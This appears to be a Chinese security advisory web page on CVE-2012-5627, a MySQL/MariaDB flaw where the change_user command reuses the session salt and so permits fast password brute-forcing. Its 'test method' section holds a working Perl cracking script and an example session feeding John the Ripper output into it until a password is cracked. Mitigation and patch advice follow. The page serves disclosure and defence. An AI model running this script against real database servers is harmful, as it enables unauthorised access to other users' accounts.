MariaDB密码SALT值处理不当安全限制绕过漏洞

发布日期：2012-12-06
更新日期：2012-12-09受影响系统：
Oracle MySQL
Oracle MariaDB
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 56837
CVE（CAN） ID: CVE-2012-5627Oracle MySQL Server是一个小型关系型数据库管理系统。MariaDB 是一个采用Maria存储引擎的MySQL分支版本，是免费开源的数据库服务器。MySQL/MariaDB在处理会话用户密码SALT值时存在安全漏洞。用户尝试登录MySQL时，会生成一个SALT值，此SALT值用于整个会话。发送密码时需用SALT值，密码不正确连接即会被断掉,若要尝试新的密码,须重新连接,SALT也会重新生成,此机制可有效阻缓暴力猜解速度。然而当攻击者用一个无特权账户登录服务器后，可使用MySQL "change_user"命令尝试切换其它的账户，在此过程中SALT值不需改变,连接也不会断开,这导致可以快速暴力破解密码，导致绕过安全限制。<*来源：Kingcope （kingcope@gmx.net）

链接：http://www.openwall.com/lists/oss-security/2012/12/06/4
https://bugzilla.RedHat.com/show_bug.cgi？id=883719
http://seclists.org/fulldisclosure/2012/Dec/58
http://seclists.org/oss-sec/2012/q4/424
https://mariadb.atlassian.net/browse/MDEV-3915
*>测试方法：
--------------------------------------------------------------------------------警告以下程序（方法）可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！use Net::MySQL;$|=1;my $mysql = Net::MySQL->new（
hostname => "192.168.2.3",
database => "test",
user => "user",
password => "secret",
debug => 0,
）;$crackuser = "crackme";while（<stdin>） {
chomp;
$currentpass = $_;$vv = join "",
$crackuser,
"x14".
Net::MySQL::Password->scramble（
$currentpass, $mysql->{salt}, $mysql->{client_capabilities}
） . "";
if （$mysql->_execute_command（"x11", $vv） ne undef） {
print "[*] Cracked！ --> $currentpass ";
exit;
}
}
---
example session:C:UserskingcopeDesktop>C:UserskingcopeDesktopjohn179 unjo
hn --incremental --stdout=5 | perl mysqlcrack.pl
Warning: MaxLen = 8 is too large for the current hash type, reduced to 5
words: 16382 time: 0:00:00:02 w/s: 6262 current: citcH
words: 24573 time: 0:00:00:04 w/s: 4916 current: rap
words: 40956 time: 0:00:00:07 w/s: 5498 current: matc3
words: 49147 time: 0:00:00:09 w/s: 5030 current: 4429
words: 65530 time: 0:00:00:12 w/s: 5354 current: ch141
words: 73721 time: 0:00:00:14 w/s: 5021 current: v3n
words: 90104 time: 0:00:00:17 w/s: 5277 current: pun2
[*] Cracked！ --> pass
words: 98295 time: 0:00:00:18 w/s: 5434 current: 43gs
Session aborted建议：
--------------------------------------------------------------------------------
临时解决方法：如果您不能立刻安装补丁或者升级，NSFOCUS建议您采取以下措施以降低威胁：* 配置防火墙规则或ACL, 只允许信任用户访问MySQL/MariaDB厂商补丁：Oracle
------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：http://www.oracle.com/technetwork/topics/security/Wireshark信息泄露和拒绝服务漏洞研究人员发现 GPS 系统的严重漏洞相关资讯 MariaDB MariaDB安全漏洞 MySQL安全漏洞

Ubuntu 16.04 Dockerfile 安装（今 10:03）
MariaDB 10.1.11 发布下载，MySQL （02月04日）
MariaDB 10.0.23 发布下载（12/21/2015 20:50:21）

CentOS 7.0 使用 yum 安装 MariaDB （03月03日）
MariaDB 10.1.10 发布下载，MySQL （12/26/2015 10:55:29）
CentOS 6.6下编译安装MariaDB-10.0 （12/21/2015 19:25:47）

本文评论查看全部评论（0）

表情：姓名：匿名字数

<button class="layui-btn layui-bg-purple" id="dofav">收藏该网址</button>
        </div>
    </div>
</div>
<div class="copyright">
    <div id="footbar">
        版权所有©石家庄振强科技有限公司2024 <a href="https://beian.miit.gov.cn" target="_blank">冀ICP备08103738号-5</a> <a href="/storage/sitemap.xml">网站地图</a>
    </div>
</div>
<script> var _mtj = _mtj || [];
(function () {
    var mtj = document.createElement("script");
    mtj.src = "https://node12.aizhantj.com:21233/tjjs/?k=p2tceukth5c";
    var s = document.getElementsByTagName("script")[0];
    s.parentNode.insertBefore(mtj, s);
})(); </script>
<script src="/static/lib/layui/layui.js"></script>
<script src="/static/lib/jquery/jquery.js"></script>
<script src="/static/lib/ajax.js"></script>
<script>
    layui.use(function () {
        var layer = layui.layer;
        var $ = layui.jquery;
        $("#dofav").click(function () {
            var artid = $(".article").attr("artid");
            var params={
                artid:artid,
                addtype:'escdns_article',
                t:Math.random()
            };
            if(artid>0){
                ajax.request({
                    method: "/index/article/addfavorite", type: "post", callback: function (res) {
                        layer.msg(res.msg);
                    }
                },params);
            }
        })
    })
</script>
</body>
</html>